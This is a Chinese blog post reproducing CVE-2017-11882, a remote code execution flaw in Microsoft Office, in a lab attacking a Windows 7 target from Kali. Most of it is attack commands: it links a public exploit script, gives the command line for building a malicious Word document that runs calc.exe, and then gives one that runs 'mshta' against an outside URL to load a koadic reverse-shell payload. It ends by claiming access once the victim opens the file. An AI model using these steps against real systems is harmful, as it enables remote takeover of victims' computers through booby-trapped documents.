CVE-2017-11882复现

字数统计: 215阅读时长: 1 min

 2019/02/21   Share

漏洞环境

攻击机:kali linux
靶机:windows 7 旗舰版
工具及说明

CVE-2017-11882漏洞利用复现
2017年11月14日微软发布了潜伏17年之久的office远程代码执行漏洞（cve-2017-11882）。该漏洞为office内存破坏漏洞，影响目前流行的office版本。
首先到github上下载一个poc
原脚本来自于

1	我们下载这个 ```https://github.com/iBearcat/CVE-2017-11882

利用方法

1	第一步:：python Command_CVE-2017-11882.py -c “cmd.exe /c calc.exe” -o test.doc

如果成功的话是这样的

现在我们反弹shell

1
2
3

下载koadic
安装 git clone https://github.com/zerosum0x0/koadic.git
使用 ./koadic

设置LHOST 端口默认9999我们不变

这里可能有utf-8的报错解决方法如下

wq保存

1	方法：python Command_CVE-2017-11882.py -c “mshta http://site.com/abc“ -o test.doc

打开word 拿到权限

结束

原文作者：Fidcer

原文链接：https://vuln.top/2019/02/21/66/

发表日期：February 21st 2019, 11:45:06 am

更新日期：February 23rd 2019, 11:25:44 pm

Next Post

msfvenom 进阶
Previous Post

某CMS V5.7 SP2 后台Getshell

CATALOG

1. 利用方法



缺失模块。
1、请确保node版本大于6.2
2、在博客根目录（注意不是archer根目录）执行以下命令：
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置：

jsonContent:
  meta: false
  pages: false
  posts:
    title: true
    date: true
    path: true
    text: false
    raw: false
    content: false
    slug: false
    updated: false
    comments: false
    link: false
    permalink: false
    excerpt: false
    categories: true
    tags: true